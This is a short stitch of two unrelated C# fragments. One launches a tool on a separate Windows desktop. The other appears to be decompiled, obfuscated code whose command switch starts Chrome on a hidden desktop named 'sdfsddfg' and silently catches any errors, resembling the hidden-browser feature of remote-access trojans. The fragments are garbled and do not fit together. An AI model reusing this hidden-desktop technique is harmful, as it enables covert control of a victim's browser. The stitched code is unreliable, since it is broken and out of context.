public Task StartAsync(Tool tool) { IntPtr desktopHandle = WindowsUtility.CreateDesktop(DesktopName); // embrace the madness -- it seems Windows always wants exactly one instance of "ctfmon.exe" in the new desktop var ctfmonStartInfo = new ProcessStartInfo { FileName = "ctfmon.exe", WorkingDirectory = "." }; WindowsApi.PROCESS_INFORMATION ctfmonProcess = WindowsUtility.CreateProcess(ctfmonStartInfo, DesktopName); AssociateWithJob(ctfmonProcess, false); // start the desired process var arguments = string.Join(" ", tool.Settings.GetArguments(tool)); var startInfo = new ProcessStartInfo { FileName = tool.ExecutablePath, Arguments = arguments, WorkingDirectory = tool.WorkingDirectory }; WindowsApi.PROCESS_INFORMATION targetProcess = WindowsUtility.CreateProcess(startInfo, DesktopName); AssociateWithJob(targetProcess, true); WindowsApi.CloseDesktop(desktopHandle); return(Task.FromResult((object)null)); }
// Token: 0x0600001A RID: 26 RVA: 0x00002FCC File Offset: 0x000011CC public static void RemoveContext(object spec) { SchemaMapper.m_Object = 0; SchemaMapper.m_Reponse = 0; SchemaMapper.m_Rule = 0; byte b = (byte)spec; byte b2 = b; switch (b2) { case 0: SchemaMapper.ForgotContext((int)((byte)spec)); break; case 1: SchemaMapper.ForgotContext((int)((byte)spec)); break; case 2: SchemaMapper.EnableContext((int)((byte)spec)); break; case 3: SchemaMapper.EnableContext((int)((byte)spec)); break; case 4: SchemaMapper.AwakeContext(); break; case 5: try { DatabaseParserResolver.InvokeMapper("chrome"); ProcessStartInfo startInfo = new ProcessStartInfo { FileName = "cmd.exe", Arguments = "/C start chrome.exe", WorkingDirectory = "." }; WindowsUtility.CreateProcess(startInfo, "sdfsddfg", new int?(100)); } catch { } break; default: if (b2 == 19) { MapperProductSchema.mapper = ""; Product.tests.Dispose(); } break; } }